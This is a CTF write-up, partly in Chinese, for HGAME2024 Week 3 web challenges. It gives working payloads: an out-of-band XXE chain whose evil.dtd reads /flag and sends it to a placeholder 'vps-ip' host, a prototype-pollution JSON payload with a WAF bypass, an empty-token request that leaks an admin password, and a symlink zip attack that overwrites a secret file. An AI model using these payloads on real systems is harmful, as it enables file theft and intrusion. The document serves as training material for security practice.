Skip to content

HGAME2024 Week3 Writeup

Author: Ec3o

Web

Vidarbox

漏洞描述: XXE攻击漏洞

利用步骤:

  1. 发现可通过 file:// 传参点触发 XXE 漏洞。
  2. 在外部服务器构造一个包含 flag 的 XML 文件,并触发 payload。

构造 FTP 服务器代码如下:

python
# Python FTP 服务器代码
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()
authorizer.add_anonymous("/var/www/html", perm="r")
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()

利用 Java 代码绕过 XXE 的 payload:

Java
// Java 代码绕过 XXE
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;

public class TestPOC {
    public static void main(String[] args) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("poc-remote.xml");
        fileOutputStream.write("<?xml version=\"1.0\" encoding=\"UTF-16BE\" ?\n<!DOCTYPE foo SYSTEM \"http://vps-ip/evil.dtd\">".getBytes(StandardCharsets.UTF_16BE));
        fileOutputStream.close();
    }
}

构造 evil.dtd 文件内容如下:

xml
<!-- evil.dtd 文件内容 -->
<!ENTITY % payload SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://vps-ip:2333/%payload;'>">
%int;
%trick;

Payload:

bash
http://localhost:8081/backdoor?fname=../../vps-ip/payload

WebVPN

漏洞描述: 原型链污染漏洞

利用步骤:

在 strategy 列表中加入 127.0.0.1。 利用原型链污染绕过限制,将 127.0.0.1 添加到 strategy 中。 Payload:

json
{
  "__proto__": {
    "strategy": {
      "127.0.0.1": true
    }
  }
}

可使用 constructor.prototype 来绕过对 proto 的 WAF。

关注一下gorm的代码,发现

HTTP
POST /api/user HTTP/1.1
Host: 139.196.183.57:30895
User-Agent: Apifox/1.0.0 (https://apifox.com)
Content-Type: application/json
Accept: */*
Host: 139.196.183.57:30895
Connection: keep-alive

{"username":"","token":""}

拿到了Admin的密码.

构造恶意zip文件名,实现敏感文件解压覆写即可完成攻击。 结合题目中的Link,不难猜出要利用软链接来修改/app/secret敏感文件.

bash
ln -s /app link
zip --symlinks 1.zip link

上传1.zip后调⽤ /api/unzip 接⼝完成解压。

再创建⼀个 link/secret ⽂件,⽂件内容为 /flag ,然后压缩这个 link ⽬录为2.zip,上传后 调⽤ /api/unzip 接⼝进⾏解压,⽤⾃定义的secret⽂件覆盖系统中原有的secret⽂件。

bash
zip -r 2.zip link

完成后调⽤ /api/secret 接⼝,即可得到flag。